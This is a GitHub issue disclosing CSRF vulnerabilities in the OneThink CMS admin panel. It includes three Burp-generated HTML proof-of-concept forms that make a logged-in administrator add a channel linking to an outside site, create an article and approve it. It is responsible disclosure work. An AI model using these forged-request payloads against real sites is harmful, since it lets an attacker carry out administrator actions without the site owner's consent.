Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There are three CSRF vulnerabilities that can add pages to the website home page #37

Open
FuryKangaroo opened this issue Aug 24, 2018 · 0 comments

Comments

@FuryKangaroo
Copy link

After the Administrator logged in,open the following two pages.
poc:
fist.html
add a page to the website home page and can jump to designated website.

<html>
  <!--add a page to the website home page and can jump to designated website-->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/test/onethink-master/wwwroot/admin.php?s=/Channel/add.html" method="POST">
      <input type="hidden" name="pid" value="0" />
      <input type="hidden" name="title" value="apple" />
      <input type="hidden" name="url" value="http&#58;&#47;&#47;www&#46;baidu&#46;com" />
      <input type="hidden" name="target" value="0" />
      <input type="hidden" name="sort" value="0" />
      <input type="hidden" name="id" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

second.html
add a blog and through the audit.

<html>
  <!-- add a blog -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/test/onethink-master/wwwroot/admin.php?s=/Article/update.html" method="POST">
      <input type="hidden" name="title" value="apple234" />
      <input type="hidden" name="content" value="fsdafdsaf" />
      <input type="hidden" name="parse" value="0" />
      <input type="hidden" name="name" value="dsfweweas" />
      <input type="hidden" name="description" value="appleqw" />
      <input type="hidden" name="type" value="2" />
      <input type="hidden" name="display" value="1" />
      <input type="hidden" name="level" value="0" />
      <input type="hidden" name="cover&#95;id" value="" />
      <input type="hidden" name="view" value="0" />
      <input type="hidden" name="comment" value="0" />
      <input type="hidden" name="bookmark" value="0" />
      <input type="hidden" name="create&#95;time" value="" />
      <input type="hidden" name="deadline" value="" />
      <input type="hidden" name="link&#95;id" value="0" />
      <input type="hidden" name="template" value="" />
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="pid" value="0" />
      <input type="hidden" name="model&#95;id" value="2" />
      <input type="hidden" name="group&#95;id" value="" />
      <input type="hidden" name="category&#95;id" value="2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<!--through the audit-->
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/test/onethink-master/wwwroot/admin.php?s=/Article/setStatus/status/1.html" method="POST">
      <input type="hidden" name="ids&#91;&#93;" value="7" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

image
image
image
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant